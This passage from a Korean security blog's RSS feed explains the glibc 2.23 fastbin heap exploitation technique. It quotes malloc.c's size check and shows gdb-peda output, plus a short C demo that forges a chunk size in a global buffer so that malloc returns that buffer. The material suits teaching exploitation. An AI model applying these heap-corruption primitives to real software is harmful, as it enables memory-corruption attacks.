/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;break&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;((&lt;span style=&quot;color: #9cdcfe;&quot;&gt;pp&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;catomic_compare_and_exchange_val_acq&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;fb&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;victim&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;fd&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;victim&lt;/span&gt;))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;victim&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;victim&lt;/span&gt;&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #dcdcaa;&quot;&gt;__builtin_expect&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;fastbin_index&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;chunksize&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;victim&lt;/span&gt;))&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;idx&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;errstr&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&quot;malloc():&amp;nbsp;memory&amp;nbsp;corruption&amp;nbsp;(fast)&quot;&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;errout:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc_printerr&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;check_action&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;errstr&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;chunk2mem&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;victim&lt;/span&gt;),&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;av&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;check_remalloced_chunk&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;av&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;victim&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;nb&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;p&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;chunk2mem&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;victim&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;alloc_perturb&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;p&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;bytes&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;p&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/div&gt;&lt;div style=&quot;position:absolute; bottom:2px; right:8px; font-style:italic; font-size:12px; color:white;&quot;&gt;/malloc/malloc.c&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;할당을 요청한 크기에 해당하는 fastbin에서 chunk를 찾는다. (victim) 이 때 victim의 size로 계산한 fastbin index가 실제 fastbin index와 다르면 에러를 낸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;즉, 할당받고자 하는 위치의 chunk가 올바른 size 필드 값을 갖고 있어야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Example&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;다시 예시 코드로 돌아와서, free 후 2번째 malloc을 하기 직전 breakpoint를 설정해 fastbin 상태를 살펴본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;heapinfo&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x20)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[0]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #06989a;&quot;&gt;0x601060&amp;nbsp;(size&amp;nbsp;error&amp;nbsp;(0x0))&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x0&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x30)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[1]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x40)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[2]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x50)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[3]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x60)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[4]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x70)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[5]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x80)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[6]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x90)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[7]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xa0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[8]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xb0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[9]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;top:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x602020&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x20fe0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;last_remainder:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsortbin:&lt;/span&gt;&amp;nbsp;0x0&lt;br /&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;p&amp;nbsp;&amp;amp;buf&lt;br /&gt;$1&amp;nbsp;=&amp;nbsp;(uint8_t&amp;nbsp;(*)[256])&amp;nbsp;0x601060&amp;nbsp;&amp;lt;buf&amp;gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;fastbin에 buf의 주소 0x601060이 들어가 있는데, chunk의 size 필드의 값이 0이고, 이는 fastbin index로 -2 이다. 실제 index인 0과 다르기 때문에 malloc이 되지 않는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;buf+0x8 에 값 0x21을 쓰고, fastbin의 fd에 buf+0x10 을 쓰도록 코드를 수정하고 컴파일해서 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;malloc.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;stdint.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint8_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x100&lt;/span&gt;];&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;main&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;free&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*(&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint64_t&lt;/span&gt;&amp;nbsp;*)&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*((&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint64_t&lt;/span&gt;&amp;nbsp;*)&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;)&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x21uLL&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;free 이후 malloc에 breakpoint를 설정해 chunk를 할당받기 직전 fastbin을 살펴본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;heapinfo&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x20)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[0]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x602000&lt;/span&gt;&amp;nbsp;--&amp;gt;&amp;nbsp;0x601060&amp;nbsp;--&amp;gt;&amp;nbsp;0x0&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x30)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[1]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x40)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[2]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x50)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[3]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x60)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[4]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x70)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[5]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x80)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[6]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0x90)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[7]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xa0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[8]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #4e9a06;&quot;&gt;(0xb0)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fastbin[9]:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;top:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x602020&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x20fe0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;last_remainder:&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #3465a4;&quot;&gt;0x0&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #c4a000;&quot;&gt;(size&amp;nbsp;:&amp;nbsp;0x0)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #75507b;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsortbin:&lt;/span&gt;&amp;nbsp;0x0&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;아무 문제 없이 buf의 주소 0x601060이 잘 들어가 있다. malloc 2번 실행 후 s에 buf+0x10 위치를 할당받은 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;span style=&quot;color: #cc0000;&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;p&amp;nbsp;s&lt;br /&gt;$1&amp;nbsp;=&amp;nbsp;(void&amp;nbsp;*)&amp;nbsp;0x601070&amp;nbsp;&amp;lt;buf+16&amp;gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>Pwn/Techniques</category>
      <author>Syine Mineta</author>
      <guid isPermaLink="true">https://mineta.tistory.com/67</guid>
      <comments>https://mineta.tistory.com/67#entry67comment</comments>
      <pubDate>Fri, 26 Jun 2020 01:06:18 +0900</pubDate>
    </item>
    <item>
      <title>[Linux] ptmalloc2 Heap Exploitation :: fastbin dup</title>
      <link>https://mineta.tistory.com/57</link>
      <description>&lt;div style=&quot;color: black;&quot;&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 이 글은 glibc 2.23 기준으로 작성되었습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 이 글은 glibc의 heap management가 어떻게 동작하는지 알고 있어야 수월하게 읽을 수 있습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 이 글은 shellphish 팀의 &lt;a href=&quot;https://github.com/shellphish/how2heap&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;how2heap&lt;/a&gt; repository를 참고했습니다.&lt;/b&gt;&lt;/p&gt;
